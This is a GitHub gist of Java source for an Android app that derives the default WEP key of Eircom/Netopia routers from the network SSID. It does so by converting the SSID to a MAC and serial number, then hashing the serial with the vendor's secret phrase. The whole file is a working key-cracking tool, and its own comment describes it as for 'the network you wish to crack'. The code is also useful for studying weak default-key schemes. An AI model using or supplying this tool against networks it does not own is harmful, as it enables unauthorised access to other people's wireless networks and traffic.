Skip to content

Instantly share code, notes, and snippets.

@pbuckley4192
Created October 24, 2019 15:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save pbuckley4192/dda9bacfdb9c148218bcc5780bb91b0b to your computer and use it in GitHub Desktop.
Save pbuckley4192/dda9bacfdb9c148218bcc5780bb91b0b to your computer and use it in GitHub Desktop.
package paul.tools.eircomRecovery;
import java.io.UnsupportedEncodingException;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Formatter;
import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
public class Eircom extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
final EditText input = (EditText) findViewById(R.id.textInput);
final EditText output = (EditText) findViewById(R.id.textOutput);
final Button button = (Button) findViewById(R.id.keyButton);
button.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
String ssid = input.getText().toString();
int SSID = Integer.parseInt(ssid);
String WEPKey = getWEP(getMAC(SSID));
output.setText(WEPKey);
}
});
}
/**
* This Method is used to obtain both the MAC & Serial Number of the router
* on the network you wish to crack.
* @param SSID is the network SSID ie. 2623 4434 in the form 26234433.
* @return returns the serial # in decimal form, which is used to get the WEP key.
*/
public static int getMAC(int SSID) {
String MACPrimer = "000fcc";
//Get the Decimal value from the octal SSID.
int decMac = Integer.parseInt("" + SSID, 8);
//Convert the Decimal to Hex
String hexM = Integer.toHexString(decMac);
//BigInteger used to easily XOR the Hex SSID with the MACPrimer.
BigInteger hexMAC = new BigInteger(hexM, 16);
BigInteger primer = new BigInteger(MACPrimer, 16);
BigInteger serialNumberConverter = new BigInteger("01000000", 16);
//XOR For MAC Address
BigInteger res = hexMAC.xor(primer);
//XOR Result with 0x01000000! To Get Serial
BigInteger res2 = res.xor(serialNumberConverter);
//Parse BigInteger to String.
String s4 = res2.toString(16);
//Parse String to Int.
int decSerial = Integer.parseInt(s4, 16);
return decSerial;
}
/**
* Used to get the WEP Key.
* @param MAC is actually the decimal Serial derived in the getMAC method.
* @return the WEP Key is returned.
*/
public static String getWEP(int MAC) {
//Used to store the mac in word form.
String stringMac = "";
//The Secret Appendage used by Eircom & Netopia.
String appendage = "Although your world wonders me, ";
String[] numbers = {"Zero", "One", "Two", "Three", "Four", "Five", "Six", "Seven", "Eight", "Nine"};
//Convert to string.
String mac = "" + MAC;
//Array of each value
String[] macArray = mac.split("");
//For each value, append stringMac with the word value. ie. 2 = Two.
for (int i = 1; i < macArray.length; i++) {
String number1 = macArray[i];
int number2 = Integer.parseInt(number1);
stringMac += numbers[number2];
}
//Finally, Append the secret string.
stringMac += appendage;
//Get the Sha-1 of this string.
String WEPKeyRaw = SHA1(stringMac);
//Take the first 26 digits.
String WEPKey = WEPKeyRaw.substring(0, 26);
//Return the WEP Key
return WEPKey;
}
private static String SHA1(String MACString) {
String sha1 = "";
try {
MessageDigest crypt = MessageDigest.getInstance("SHA-1");
crypt.reset();
crypt.update(MACString.getBytes("UTF-8"));
sha1 = byteToHex(crypt.digest());
} catch (NoSuchAlgorithmException e) {
} catch (UnsupportedEncodingException e) {
}
return sha1;
}
private static String byteToHex(final byte[] hash) {
Formatter formatter = new Formatter();
for (byte b : hash) {
formatter.format("%02x", b);
}
return formatter.toString();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment